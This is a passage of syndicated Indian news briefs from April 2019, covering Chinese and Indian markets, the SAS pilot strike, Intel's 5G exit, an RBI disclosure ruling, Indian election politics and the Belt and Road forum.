Nifty Energy index. The PE of the stock is 11.63 based on TTM earnings ending December 18. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Headline indices of the Mainland China equity market tumbled on Friday, 26 April 2019, as risk aversion selloff continued amid fears that China may scale back its stimulus measures after signs of economic stabilization. Meanwhile, caution ahead of Sino-U. S. trade talk next week also weighed on sentiments. At closing bell, the benchmark Shanghai Composite Index dropped 1.2%, or 37.43 points, to 3,086.40. The Shenzhen Composite Index, which tracks stocks on China's second exchange, sank 1.33%, or 22.45 points, to 1,665.80. The blue-chip CSI300 index shed 1.33%, or 52.55 points, to 3,889.27. For the week, Shanghai Composite Index and CSI300 index both lost 5.6 percent, their biggest weekly decline since Oct. 12, 2018. China's central bank has no intent to tighten or relax monetary policy, a vice governor said on Thursday, as the market debates how much more support Beijing will give the economy after surprisingly resilient data was released last week. Face-to-face talks are set to resume in Beijing next week. U. S. President Donald Trump said on Thursday he would soon host Chinese leader Xi Jinping at the White House, setting the stage for a possible agreement on trade between the world's two largest economies. The White House said on Tuesday that Treasury Secretary Steven Mnuchin and U. S. Trade Representative Robert Lighthizer would travel to Beijing for additional talks on a trade dispute that has led to tit-for-tat tariffs between the two countries. Chinese Vice Premier Liu He, who will lead the Beijing talks for China, will also travel to Washington for more discussions starting on May 8, it said. "The subjects of next week's discussions will cover trade issues including intellectual property, forced technology transfer, non-tariff barriers, agriculture, services, purchases, and enforcement," the White House said. Beijing and Washington are seeking a deal to end a bitter trade war that has cost them billions of dollars, disrupted supply chains and rattled financial markets. Trump has said he expects to finalise the deal in a meeting with Xi. CURRENCY NEWS: China's yuan appreciated against the U. S. dollar on Friday, due to strong mid-point fixing by central bank and after President Xi Jinping pledged to keep the currency stable. Prior to the market opening, the People's Bank of China (PBOC) set the midpoint rate at 6.7307 per dollar, the same as the previous day's fix. At 07:05 GMT, the yuan was quoted at 6.735 per U. S. dollar, 0.15% firmer than the previous close of 6.7448. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Tata Motors Ltd is quoting at Rs 216.7, down 2.32% on the day as on 13:19 IST on the NSE. The stock tumbled 35.68% in last one year as compared to a 9.23% rally in NIFTY and a 26.68% fall in the Nifty Auto index. Tata Motors Ltd fell for a fifth straight session today. The stock is quoting at Rs 216.7, down 2.32% on the day as on 13:19 IST on the NSE. The benchmark NIFTY is up around 0.32% on the day, quoting at 11678.95. The Sensex is at 38841.92, up 0.29%.Tata Motors Ltd has gained around 27.58% in last one month.Meanwhile, Nifty Auto index of which Tata Motors Ltd is a constituent, has increased around 3.36% in last one month and is currently quoting at 8587.9, down 1.12% on the day. The volume in the stock stood at 181.02 lakh shares today, compared to the daily average of 398.97 lakh shares in last one month. The benchmark May futures contract for the stock is quoting at Rs 218.45, down 2.39% on the day. Tata Motors Ltd tumbled 35.68% in last one year as compared to a 9.23% rally in NIFTY and a 26.68% fall in the Nifty Auto index. The PE of the stock is 26.27 based on TTM earnings ending December 18. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Google on Friday selected 18 young scientists from India who will compete in the 2019 Google Science Fair contest for the winning prize of $50,000 and other rewards. The global science competition inspires teenagers in the age group of 13-18 years to solve real-world problems with science, technology, engineering and maths. This year's competition saw thousands of entries from more than 100 countries representing some innovative ideas in science and technology, Google said. From addressing health-related issues to creating more eco-friendly adhesives and fuel to making our water safe to drink, the young students from India presented novel and creative ideas. The entries were evaluated based on the creativity, scientific merit and potential for impact of each submission to narrow down the entries to 100 finalists globally, Google said, adding that the regional finalists will receive a prize including Chromebook and goodies from the company. --IANS gb/bg (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Archaeologists have discovered at least 34 mummies in the Egyptian city of Aswan that dates back to the late Pharaonic and Greco-Roman period, between the 6th century B.C. and the 4th century A.D., the media reported. Alongside the mummies, the archaeologists found artefacts including pottery, painted funerary masks and wooden statuettes. Vases of bitumen, used in mummification, as well as a stretcher likely used to carry the bodies into the tomb were also discovered, CNN reported on Friday. An intact hieroglyphic text indicated that the tomb, hidden under sand, was owned by a trade leader named Tjt. Khaled El-Enany, Egypt's Minister of Antiquities, invited Patrizia Piacentini, a professor of Egyptology at the University of Milan, to conduct the excavation in Aswan. Piacentini directed the excavations alongside Abdelmanaem Said of the Ministry, while engineer Gabriele Bitelli located the tomb and subsequently created 3D reconstructions of the items found within. Steps led down from the surface to the tomb, which comprised two burial chambers and was sealed off by a wall. The archaeologists found approximately 30 mummified bodies in the primary chamber -- the bodies of men, women and children -- and an estimated further four in a side chamber. Two mummies, found overlapping, were believed to be the bodies of a mother and her child. Further studies are required to determine the precise number of bodies found, Piacentini told CNN. Some of the vases still contained food, while two statuettes depicted Ba, the Egyptian bird god who represented an aspect of the soul. The tomb was discovered as part of a broader excavation mission, during which archaeologists mapped approximately 300 tombs in the region. A second mission will be carried out in November, Piacentini added. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A seven-year-old girl survived for five days on water after falling into the bathroom of her neighbour's house while playing, police said. The startling incident took place in Makhtal town in Narayanpet district of Telangana, about 160 km from Hyderabad. The house owner was shocked to see the girl lying in his bathroom after he returned home on Thursday from a tour. With no food for five days and surviving only on the water available in the bathroom, the girl had turned very weak and was in a state of shock. The police investigation revealed that Kuravakacheri Akhila, a class II student, accidentally fell onto the bathroom of a house while playing on the terrace of an adjacent building on April 20. As the roof had an opening fitted with plastic net, she fell through into the bathroom but sustained no injuries as a rope with clothes on it took the impact. The bathroom was bolted from outside and as the inmate was away, her cries for help went unanswered. Police said there was nobody in the adjacent house who could hear her cries. Her parents Suresh and Mahadevamma lodged a missing complaint the next day after their search yielded no result. According to sub-inspector of police B. Ashok Kumar, the parents suspected she went missing from a local fair. The police had formed a team and alerted police in adjacent districts and Hyderabad but found no clue. It was on Wednesday that, the owner of the house returned from Hyderabad, where his family lives. Venkatesh, a teacher, said he was shocked to see the girl lying in bathroom. He alerted the neighbours, who identified her as the daughter of tenants behind their house. Akhila, who was not even able to speak, was rushed to a local hospital, where she was administered saline. Though schools have summer holidays, Venkatesh had returned to attend a marriage in the town. --IANS ms/vin/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A total of 1,409 Scandinavian Airlines (SAS) pilots from Sweden, Norway and Denmark went on strike on Friday, causing 673 cancellations so far and over 70,000 passengers affected. SAS warned that the continuing strike could affect a further 100,000 passengers over the weekend, reports Xinhua news agency. In the early hours of Friday, last-minute salary negotiations between SAS and the Swedish Air Line Pilots Association broke down. As a result, 492 Swedish SAS pilots went on strike, followed by 545 Norwegian and 372 Danish colleagues. "It is deeply regretful that the pilots strike will have a negative impact on our customers. SAS is prepared to continue to negotiate, but if the requirements were to be met, they would have very negative consequences for the company," SAS Director of Communications Karin Nyman said. SAS is the leading airline in Scandinavia, operating a third of all flights to and from the region. According to SAS, about 70 percent of the company's flights are affected. Flights operated by SAS Ireland and SAS partner airlines will not be affected. Friday's strike follows unsuccessful salary negotiations between SAS pilots and their employer. According to media reports, an 11th-hour bid offered on Thursday night included a salary increase of 2.2-2.3 percent, significantly lower than the 13 percent the pilots' union is demanding. SAS has offered passengers travelling on Friday, Saturday, Sunday and Monday the opportunity to rebook their journey free of charge. It's unclear how long the strike will last, so passengers travelling in late April and early May are advised to check for updates on the situation. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The growing breed of Indian developers will ensure nine out of 10 apps on Google Play Store are from India within the next 5-10 years, GGVC Managing Partner Hans Tung has said. Speaking at the eighth annual India Internet Day (iDay) conference organised by TiE Delhi-NCR here on Thursday, Tung was part of leading Chinese VCs who shed light on the start-up landscape in China and the promise India holds. "The focus of the event was to encourage and help innovative Internet-centric start-ups in learning how to unbox the full potential of their ambitious ventures," Rajan Anandan, President-TiE Delhi-NCR, said in a statement. TiE is a non-profit, global community welcoming entrepreneurs from all over the world. Anant Maheshwari, President, Microsoft India, said the value of India is in that bottom of the pyramid of SMEs (small and medium enterprises) which is the start-up ecosystem. Deepinder Goyal, Founder and CEO, Zomato, urged entrepreneurs to draw value from outside the country. Six curated start-ups presented their unique products to a panel of investors as part of "Launchpad". Over 1,000 delegates, including start-ups, top unicorns, industry leaders, policy makers and other stakeholders attended the event. --IANS na/mag/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pro-government forces in Afghanistan have killed more civilians in the first three months of 2019 than the Taliban and other insurgent groups, the UN said in a report. It was the first time since the UN began tracking civilian casualties in Afghanistan over a decade ago that the pro-government forces have caused a majority of deaths, reports the Guardian on Friday. Overall 581 civilians were killed and 1,192 injured in Afghanistan between January and March, down nearly a quarter from a year earlier, and at the lowest level since 2013. That fall was largely driven by a reduction in suicide attacks, the UN said. Pro-government forces caused 305 civilian deaths, and opposition fighters 227 deaths. Another 49 deaths were caused by crossfire or could not be attributed. The US' Afghanistan peace envoy, Zalmay Khalilzad, tweeted that he was "distressed by reports of civilian casualties" but did not directly address the UN figures. Khalilzad, who has been tasked with brokering a deal with the Taliban, added that the only way to stop the blood flow was a ceasefire. Afghan President Ashraf Ghani's government blamed insurgents for causing the deaths by using human shields. "The real reason behind the number of civilian casualties is armed militants who use civilians as their shield and use their homes as their battleground," the presidential information coordination centre said on Twitter. The report also detailed attacks on education and healthcare sites. The UN recorded 18 instances in which schools were targeted, the majority by Taliban or other insurgents. Among the most serious were attacks on girls' schools in Farah province, setting buildings and equipment on fire. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The chief whip of the ruling AIADMK S. Rajendran and state Law Minister C.V. Shanmugam on Friday met Tamil Nadu Assembly Speaker P. Dhanapal and submitted a petition to take appropriate action against three legislators for indulging in anti-party activities. Reacting to the development, DMK President M.K. Stalin said the party would bring a no confidence motion against the Speaker if he takes action against the three AIADMK legislators. Speaking to reporters here, Rajendran said he had met the Speaker and submitted a petition to take action against three legislators -- A. Prabhu representing the Kallakuruchi constituency, Rathinasabapathy (Aranthangi) and V.T. Kalaiselvan (Virudhachalam) -- for their anti-party activities. Rajendran said the party had got more proof of their prejudicial activities and hence submitted a petition to the Speaker. He said that photographs of the legislators with the Amma Makkal Munnetra Kazhagam (AMMK) General Secretary T.T.V. Dhinakaran have also been been submitted. All this has led to speculation about whether there would be a rerun of the earlier disqualification of 18 legislators by the Speaker. The by-elections for 18 Assembly constituencies were held on April 18, while the remaining four will vote on May 19. In the 234-member Tamil Nadu Assembly, the ruling AIADMK has 114 MLAs (including the Speaker), the DMK 88 and the Congress 8, while the IUML and an Independent represent one constituency each. The AIADMK has to win just four seats in the by-elections to attain a simple majority. But factoring in the possible switching of camps by some lawmakers, the AIADMK needs to win seven or eight seats in order to be safe. On the other hand, the DMK has to win all the 22 seats to take its tally, along with its allies Congress and IUML, to 119, one more than what is required for a simple majority. Stalin had said during his campaign that there will be a change of government in Tamil Nadu, along with a change at the Centre after the ongoing Lok Sabha elections. Analysts are of the view that even if Dhinakaran's AMMK wins a couple of seats, the DMK's dream of coming to power by toppling the AIADMK government may not come true. When queried whether the AIADMK is seeking action against the three legislators as it was not confident of winning the required number of seats in the by-elections, Rajendran said the party will win all the seats it is contesting. According to Stalin, the Speaker should not try to secure majority for the AIADMK through the backdoor. --IANS vj/arm (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The American India Foundation honoured Dell Technologies Chairman and CEO Michael Dell and Aditya Puri, the Managing Director of Indias largest private sector bank of HDFC, at its annual gala in here. The gala raised nearly $3 million, with a third of that amount committed by Indian American technology entrepreneurs Bharat Desai and Neerja Sethi, the American Bazaar reported on Thursday. The gala, held on Wednesday at the historic Cipriani Wall Street, was attended by 600 people, among them, a number of prominent Indian-Americans. The Michael and Susan Dell Foundation, which focuses on improving the lives of children living in urban poverty through education, health and family economic stability, has committed nearly $1.7 billion worldwide for the cause. In India, the foundation has spent $200 million in the past 15 years. AIF is one of the Dell Foundation's partners in India, where the two are providing digital to one million students in 8,000 schools across six states. "Tomorrow's future is shaped by what children learn today," Dell said accepting the award. "We must apply our expertise, our technology and our giving to ensure that students everywhere have the skills to succeed, the critical thinking skills to succeed in the digital world." Puri, who runs India's largest private sector bank, spoke about his company's philanthropic activities. "We have our intervention in health as well as As far as is concerned, we have helped 1.6 million children get better education." Among the other highlights of the night was a $1 million pledge by Desai and Sethi. The evening began with a call to arms by MSNBC host and Master of Ceremonies Ali Velshi and AIF Co-Chair Harit Talwar. "Our mission is simple and audacious," said Talwar, who serves as Global Head of Consumers at Goldman Sachs. "We want to make a difference in the lives of tens of millions of underprivileged women and children in India..." Other speakers included AIF Co-Chair Lata Krishnan, its CEO Nishant Pandey, the organization's two Chairmen Emeritus Ajay Banga and Victor Menezes and Pradeep Kashyap, who transitioned from the group's board to Director Emeritus. Among the attendees were Indian American Representative Raja Krishnamoorthi, AIF board members Venkat Srinivasan and Raj Sharma. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Angry over the Election Commission preventing him from holding review meetings on ongoing projects, Andhra Pradesh Chief Minister N. Chandrababu Naidu on Friday indirectly threatened the poll body with legal action to recover cost overrun. Stepping up his attack on the Election Commission, Naidu alleged that it was usurping powers of a democratically elected government. In a nine-page letter to the EC, the Telugu Desam Party (TDP) lashed out at the poll body saying it was intentionally paralysing the state administration. Stating that the review of ongoing projects like Polavaram and construction of the new capital city was required for completing of the works in a time-bound manner, Naidu said the Election Commission would be solely responsible for the cost overrun and loss of time of these projects. "The people of Andhra Pradesh reserve the right to recover the cost overrun amounts from all concerned personally who come in the way of timely completion of these projects by initiating appropriate legal proceedings," he wrote. Naidu told the poll panel that since there was a gap of nearly six weeks between the conclusion of the elections and counting of votes, it was not constitutionally and legally correct to deprive the people of the state the right to be governed by their democratically elected government for five years. He said since the electorate exercised their franchise, the poll panel had no jurisdiction to stop any review meeting by him or briefing by the officers. Naidu said the Chief Electoral Officer's comments that the Chief Minister did not have powers to review the departments was surprising and shocking and alleged that the CEO was exceeding his jurisdiction. "Comments by CEO were absurd and arbitrary and also belittle relevance and primacy of political governance in a democratic polity." Naidu also took strong exception to the CEO directing Additional Director General (Intelligence) not to report to the Chief Minister and wondered if Director (IB) and National Security Advisor were are also prohibited from functioning under the Prime Minister. "Have you issued similar orders in other states? If not, why this discriminating orders in case of the chief minister of Andhra Pradesh?" The TDP chief pointed out that Prime Minister and also Chief Minister in Telangana continued to hold review meetings of the departments. Stating that seven people died in thunderbolts last week, Naidu said this could have been averted if the democratically elected government was allowed to function. "Who is responsible for these deaths?" asked Naidu and said many critical issues require urgent attention of the state government and cannot be postponed till May 23. He reiterated that the Election Commission failed to conduct the the elections properly, depriving many people of their right to vote. Naidu wrote that in his 40-year-long political career he never saw an election which was so badly conducted, logistically mismanaged and poorly organised. Elections to 175-member Assembly and 25 Lok Sabha seats in the state were held in a single phase on April 11. --IANS ms/mr (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chip making giant Intel has confirmed the "surprise" settlement between Qualcomm and Apple pushed it to exit the mobile 5G race, The Wall Street Journal has reported. "In light of the announcement of Apple and Qualcomm, we assessed the prospects for us to make money while delivering this technology for smartphones and concluded at the time that we just didn't see a path," Bob Swan, CEO of Intel was quoted as saying by The WSJ late on Thursday. The processor manufacturing giant on April 16 said it plans to cease working on modems for 5G, the next-generation of wireless technology expected to supercharge mobile connections. The news that Intel had exited the 5G modem business came barely hours after the Qualcomm-Apple agreement was announced. However, it wasn't clear whether Apple and Qualcomm had made up due to the fact that Intel had pulled out of the 5G race. Intel had been working on a chipset for the iPhone maker, with the chip expected to be in iPhones by 2020. The chip maker's stock plunged nearly seven per cent on slashed revenue forecast for the full year and a flat first-quarter revenue at $16.1 billion. Its data-centric revenue declined five per cent while PC-centric revenue grew four per cent in the first quarter of 2019, the chip-maker said in a statement on Thursday. Net income was $4 billion -- down from the same quarter last year which reported $4.5 billion. The company expects full-year revenue of $69 billion, down from the January guidance. --IANS ksc/mag/ (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Armenias first registered transgender woman has said that she received death threats after making a historic speech in her countrys national assembly against discrimination meted out to the LGBTI in the country, the media reported on Friday. Lilit Martirosyan became the first member of her country's lesbian, gay, bisexual, transgender and intersex (LGBTI) community to take to the parliamentary podium, speaking at a session of its committee on human rights. A video of the speech has been shared around the world, reports the Guardian. In her speech two weeks ago, Martirosyan expressed solidarity with the community that has been "tortured, raped, kidnapped, subjected to physical violence, burned, immolated, knifed, subjected to murder attempt, killed, emigrated, and robbed". The speech has since sparked a backlash in Armenia, where homosexuality has been decriminalised but discrimination against LGBTI people is rife. There have been anti-LGBTI protests in front of the national assembly and verbal attacks made by some parliamentarians have included calls for her to be burned alive. "This was the first time in Armenia when a transgender woman spoke from a high podium... of violence against transgender people," Martirosyan told the Guardian. "(A) transphobic man with a knife came to the national assembly to announce that he would kill me and that others like me must be killed, too... I have received many messages via Facebook and email from various people telling that they will find and kill me... In the post-revolutionary Armenia, hate has no place" Martirosyan said the home addresses of several people who work for Right Side, the transgender rights organisation she created in 2016, have been leaked and that her own home address has been spread across the Internet by extremist groups who have threatened to "kill them if we find them". Last year, Hayk Hakobyan, founder of the Rainbow Armenia Initiative, was among several LGBTI activists attacked by a mob. Some were injured by a crowd that threw stones at them. Hakobyan has since been forced to leave the country, and is seeking asylum in the Netherlands. He told the Guardian that Armenian society is hostile. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Supreme Court on Friday gave the RBI "one last opportunity" to disclose annual inspection reports of banks as it just stopped short of issuing a contempt notice against RBI Governor Shaktikanta Das, and ordered the Reserve Bank of India to diclose the wilful defaulters' list under the Right To Information Act. The top court also ordered the central bank to withdraw its non-disclosure policy, which the court concluded is in violation of the apex court's judgment in 2015. Taking a serious view of the continued defiance, the court came down heavily asking the RBI to make full disclosure of its annual inspection reports on the financial health of banks, including position of NPAs, and also withdraw its disclosure norms as it came in the way of making public informations on the state of banks under the RTI. A bench of Justice L. Nageswara Rao and Justice M.R. Shah said the banks are "duty bound to furnish all information relating to inspection reports and other material apart from the material that was exempted in para 77 of the judgement. Any further violation shall be viewed seriously by this Court." Pronouncing the judgment, Justice Nageswara Roa said, "Though we could have taken a serious view of the Respondents (RBI and the Banks) continuing to violate the directions issued by this Court, we give them a last opportunity to withdraw the disclosure policy insofar as it contains exemptions which are contrary to the directions issued by this Court." Referring to paragraph 77 of the December 16, 2015 judgement, the court said that the only exception that was carved out by the top court in its 2015 judgment was relating to the disclosure of information having bearing on "security of the State." Referring to the new disclosure policy that was uploaded by the RBI on April 12, 2019 replacing the earlier policy of November 30, 2016, the court said, "The respondents (banks) in our opinion, have committed contempt of this court by exempting disclosure of material that was directed to be given by this court." However, it recorded the submission by RBI that the new policy would be deleted from its website. The top court by its December 16, 2015, judgement had said that banks and their apex regulatory body Reserve Bank of India could not withhold information on defaulters, losses and alleged illegalities of the banks by invoking the exception under the Right to Information Act. "The ideal of 'Government by the people' makes it necessary that people have access to information on matters of public concern. The free flow of information about affairs of Government paves the way for debate in public policy and fosters accountability in Government. It creates a condition for 'open governance' which is a foundation of democracy", the bench of Justice M.Y.EqbalAand Justice C. Nagappan (since both retired) had said in their 2015 judgement. The RBI, as per 2015 judgement, was supposed to disclose the annual audit report of the banks, status of NPAs and action taken there on. The top court by its 2015 order had asked the RBI to share information on the annual audit of the banks including on NPAs under the Right to Information Act. However, this was stalled after RBI introduced disclosure norms that blocked the disclosure of information on the financial health of the banks under the RTI. An RTI activist Subhash Chander Agrawal had moved the top court seeking contempt action against RBI Governor for not complying with its 2015 judgement. Girish Mittal and Agrawal had moved the top court for contempt action against the RBI not complying with the court's direction to disclose information under the Right to Information (RTI) Act. The petitioners had claimed that RBI and its former Governor Urjit Patel had "wilfully and deliberately" disobeyed the top court's judgement asking the central bank to disclose information under the RTI Act. The court rejected the contention of the apex bank and others that its (top court's) December 16, 2015 judgement needs reconsideration saying "We are not persuaded to accept the submission ... that the judgment dated 16.12.2015 requires reconsideration as we cannot consider the said submission while deciding the contempt petitions." The two petitioners sought initiation of contempt of court action against former Governor for not disclosing information as directed by the top court. One of the contempt petitions filed by Girish Mittal said that RBI refused to provide information sought about the inspection reports of some banks. In December 2015, the petitioner under the RTI Act had sought certain information which included copies of inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India from April 2011 till December 2015. The petitioner had also sought copies of case files with file notings on various irregularities detected by RBI in case of Sahara Group of companies and erstwhile Bank of Rajasthan by these entities themselves and their known/unknown promoters. However, RBI denied the information in January 2016 that such information is exempted under Section 8(1)(e) of the RTI Act and Section 45NB of the Reserve Bank of India Act. The petitioners contended that top court in 2016 while directing disclosure of a very similar type of information sought under the RTI Act had observed RBI is clearly not in any fiduciary relationship with any bank. The petitioners argued that the responses of RBI are in complete violation of the top court judgement by which it was held that RBI ought to act with transparency and not hide information that might embarrass individual banks and it is duty bound to comply with the provisions of the RTI Act and disclose the information sought. --IANS pk/prs (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Filmmaker Madhur Bhandarkar, who is making "Inspector Ghalib" -- a movie based on sand mafias -- says he always wanted to make an action film. Bhandarkar was interacting with the media at fashion designer Shruti Sancheti's new collection preview here on Thursday. He said: "I have just announced a film called 'Inspector Ghalib'. It is based on sand mafias and it is set in Uttar Pradesh. It's an action film. I always wanted to do an action film, but I never made it. "I think it is necessary for a filmmaker to make at least one action film because in that space, you can show a different environment and world to the audience." He is yet to cast any actor for the film. "There are media reports I have cast a certain actor for my film, but it is not like that at all. Till now, I haven't taken a decision about it. I have finished the scripting of the film but there are many other factors on which we are still working. So, once it will be completed, then I will be able to tell the media that when I am going to begin shooting of the film," he added. Bhandarkar's last outing was "Indu Sarkar". --IANS iv/rb/bc (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Finance Minister Arun Jaitley on Friday said that the BJP would get a bigger mandate than in 2014 in the general elections and the "New India" is a positive India which does not accept the "negativism of Rahul, Arvind Kejriwal, Mamata Banerjee and TDP". In a blog post, "Has the Congress Thrown its Hands up?", Jaitley said voting for the first three rounds of the elections covering 303 parliamentary seats is over and electoral battle now enters the Hindi heartland. He said that in most of the states where elections are to be held in the coming rounds, it is a direct contest between the Congress and the Bharatiya Janata Party (BJP) and the opposition party "is in no position to effectively take on the regional parties or the BJP". "Therefore, the only issue in the future rounds is the width of the margin of victory of the BJP. Will it be a repeat of 2014 in terms of votes, or will it be more? A euphoric reaction at the ground suggests a mandate larger than 2014. A 65 per cent to 70 per cent approval rating for an incumbent Prime Minister is unprecedented in India. It is reflecting in the groundswell," Jaitley said. He said the Congress has announced 424 seats, though the proposed grand alliance at the national level died before it was born. Jaitley said that Congress President Rahul Gandhi, in the last one year, built up "a fake narrative" on Rafale and loan waiver to business houses, which was contrary to the truth. "The fake issues evaporated and now strike no chord with the electorate. Having to apologise to the Supreme Court for false public narrative significantly diminishes the credibility of a political leader. Rahul became a victim of his own falsehood," Jaitley said. The BJP leader said that the "desperation reached a peak" when Gandhi, "without realising that Arvind Kejriwal was playing games with him", offered him four seats contrary to the advice of the party's state unit and "displayed the desperation of a loser". Attacking the Congress leader further, Jaitley said that instead of sharing the nationalist mood in the country post Balakot, Gandhi positioned his party against both the national interest and the national mood. "He considered Balakot not a blow to Pakistan-sponsored terrorism but to the Congress party. When the Kashmir parties take a position of soft separatism, the Congress has been unable to reveal either its stand for or any opposition to it." Jaitley said that the desperation reached climax when the Congress and the NCP had to "outsource" the job of attacking Prime Minister to MNS leader Raj Thackeray without realising the fallout of such a move in Uttar Pradesh, Bihar and other north Indian states. He said the Congress manifesto on national security was completely against the nationalistic mood in the country. "Rahul had to seek cover at Wayanad and Priyanka had to skip Varanasi and feel satisfied not to contest because there was no Wayanad available to her. The 'New India' is a positive India. It does not accept the negativism of Rahul, Arvind Kejriwal, Mamata Banerjee and TDP. The 'New India' wants to look up rather than be cynical and critical about their own country," he said. Jaitley said that the Congress and Rahul Gandhi are 48 years behind the times. "2019 and 1971 are 48 years apart. India's social combination and economic profile has completely changed. The Congress is contesting the 2019 election on the 1971 agenda. It is not in tune with the times. The writing on the wall is loud and clear. Those who lived a life of entitlement all through, give up when office seems to be a distant dream," the Minister said. He said that in the North East, Bengal and Odisha, the contest was between the regional parties and the BJP and the party also appears to be making significant gains in the east. Among the southern states, Karnataka appears to be going the BJP way. "With the regional parties dominating Andhra and Telangana, the Congress in both states and the TDP are staring at a washout." --IANS ps/nir (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Brazilian President Jair Bolsonaro has signed a decree to abolish daylight savings time (DST) in the South American nation, where it has been an annual practice since the mid-1980s to advance clocks one hour during the summer as an energy-saving measure. The President said on Thursday he based the decision on technical studies showing that DST no longer results in significant energy conservation, though he also pointed to concerns about the negative effect of the time change on Brazilians' health and well-being, reports Efe news. "It is a desire of the Brazilian population," Bolsonaro said, alluding to polls indicating that 55 per cent of the people disapprove of the time change. "I didn't like it much either," he said during the signing ceremony at the presidential palace. Brazil's Energy Ministry says it found that the initial advantage of advancing the clocks to add hours of natural light in the evenings had evaporated due to changes in consumer habits and, above all, to the modernisation of electrical equipment. In Brazil, the shift to DST would usually come in October or November, on the eve of the start of the austral summer in December, and the nation would return to standard time in February or March. The DST period coincided with Brazil's high tourist season and adding an extra hour of sunlight was viewed as a boon to tourism, especially in Rio de Janeiro and other coastal cities known for their beaches. In 2001, the Brazilian government extended the DST period to four months amid a severe shortage of energy. The Mining and Energy Ministry said then that the government hoped to cut electricity demand by 3 per cent during the summer. Daylight savings time was adopted by Brazil for the first time in 1931 and started being implemented annually in the mid-1980s. --IANS ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chinese President Xi Jinping on Friday sought to allay growing concerns that his trillion-dollar Belt and Road project was pushing poor countries in a "debt trap" and pledged to make the connectivity scheme transparent. At the opening ceremony of the second edition of the three-day Belt and Road Forum, Xi sounded defensive in his speech about his pet project that has come under growing criticism for the lack of transparency and indebting nations. India for the second time skipped the event in protest against the China-Pakistan Economic Corridor (CPEC), a key component of the Belt and Road that passes through the disputed Kashmir held by Pakistan and claimed by it. The corridor connects the Chinese city of Kashgar with Pakistan's Gwadar port on the Arabian Sea. At the gathering of nearly 40 heads of states and representatives of over 100 international organisations, Xi said: "In pursuing Belt and Road cooperation everything should be done in a transparent way and we should have zero tolerance for corruption." Proposed by Xi in 2013, the Belt and Road project aims to connect the world's three biggest continents - Asia, Africa and Europe - through a vast network of highways, rail lines and sea lanes. China has poured billions of dollars in over 60 participating countries where its companies are engaged in building infrastructures. The sheer vastness of the project and the money involved in it have caused much awe among many as well as consternation in some countries that see the initiative as China's tool to increase its geopolitical influence. The reports about many partner countries like Sri Lanka, Maldives and Pakistan being under the burden of onerous Chinese loans under the projects have raised concerns about Beijing's intent to create "debt traps". At the event, Xi tried to dispel those fears. "We welcome the participation of the multilateral and national financial institutions in BRI investment and financing. And we encourage third market cooperation. With the involvement of the multiples stakeholders, we can surely deliver benefits to all. "We have also formulated guiding principles of financing the development of the Belt and Road and published debt sustainability framework for participating countries of the BRI to provide guidance for BRI financing cooperation. "The laws and regulation of participating countries should also be respected. We need to take people's centric approach and give priority to poverty alleviation and job creation to see the joint pursuit of Belt and Road cooperation would deliver true benefits to the people of the participating countries," the Chinese leader added. While Russian President Vladimir Putin, Pakistani Prime Minister Imran Khan are at the event, India will give the forum a miss like the last time in 2017. Indian opposes the CPEC and says that it cannot be the part of a project for its sovereignty and territorial integrity. India not approving the corridor has become a sticky point in its relations with China. China maintains that the project is purely economic in nature and won't impact Beijing's neutral stance on the Kashmir issue. (Gaurav Sharma can be contacted at sharmagaurav71@gmail.com) --IANS gsh/ksk (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Aam Aadmi Party's East Delhi Lok Sabha candidate Atishi has filed a criminal complaint against Gautam Gambhir, Bharatiya Janata Party (BJP) nominee for the same seat, for holding two voter cards. "I have filed a criminal complaint against the BJP candidate from East Delhi Gambhir over his possession of two voter IDs in two separate constituencies of Delhi -- Karol Bagh and Rajinder Nagar," she said on Friday. The complaint was filed on Thursday under Section 155(2) at the Tis Hazari Court, seeking direction for police investigation into offences punishable under Sections 17 and 31 of The Representation of the People Act, 1950 and Section 125A of The Representation of the People Act, 1951. The plea is likely to be heard by a Metropolitan Magistrate at the Tis Hazari Court Complex on May 1. "As per Section 17 of The Representation of the People Act, 1950, no person is entitled to be enrolled as a voter in more than one constituency. Section 31 makes false declaration in the matter of inclusion or exclusion of voter rolls punishable with up to one year in prison," Atishi told the media here. Consequently, any such declarations made in order to obtain registration as a voter in two or more constituencies is a criminal offence punishable with imprisonment up to one year, or fine, or both, she added. Atishi also said that Gambhir has stated in his affidavit, submitted to the Returning Officer at the time of nomination, that he is only registered to vote in the Assembly constituency Rajinder Nagar-39, Part No 43, Serial No 285, EPIC No SMM1357243. "However, it was discovered after the scrutiny period had concluded that Gambhir was also registered to vote in Assembly Constituency Karol Bagh-23, Part No 86, Serial No 87, EPIC No: RJN1616218," she added. "This fact was also deliberately and wilfully concealed by Gambhir during the time of filing and scrutiny of his nomination, as witnessed by the Returning Officer, presumably to avoid rejection of his nomination," the AAP leader said. The concealment of information provided in an election affidavit is also punishable under Section 125A of the said Act, with up to six months jail time, she added. Gambhir's nomination was held up due to objections raised by the AAP candidate due to technical errors in the affidavit. "Unfortunately for the public, a candidate who is unaware of the law and legal processes has been parachuted into the fray to extract a benefit from his stardom. But the party and the candidate will pay the cost of unpreparedness and inexperience through eventual disqualification and possible jail term for Gambhir," she said. Chief Minister and AAP Chief Arvind Kejriwal and spokesperson Saurabh Bhardwaj urged people not to vote for 